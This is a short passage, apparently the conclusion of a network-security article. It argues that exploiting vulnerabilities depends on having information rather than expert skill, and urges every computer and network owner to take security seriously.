network infrastructure is  no black magic, one that can only be seen performed in the movies. If  the
examples given here may have sounded too simplistic or no-longer-to-be-concerned to you, I hope I
nonetheless got you convinced that exploiting vulnerabilities is just a matter of obtaining the appropriate
information, not of being a top-notch computer expert. Just wait a little after a new vulnerability has
been discovered, and a top-notch computer expert or skillful script-kiddie will make it known to
everyone how to exploit it. That's the way it is. That is why every owner of a computer or a network
must be concerned by its security.
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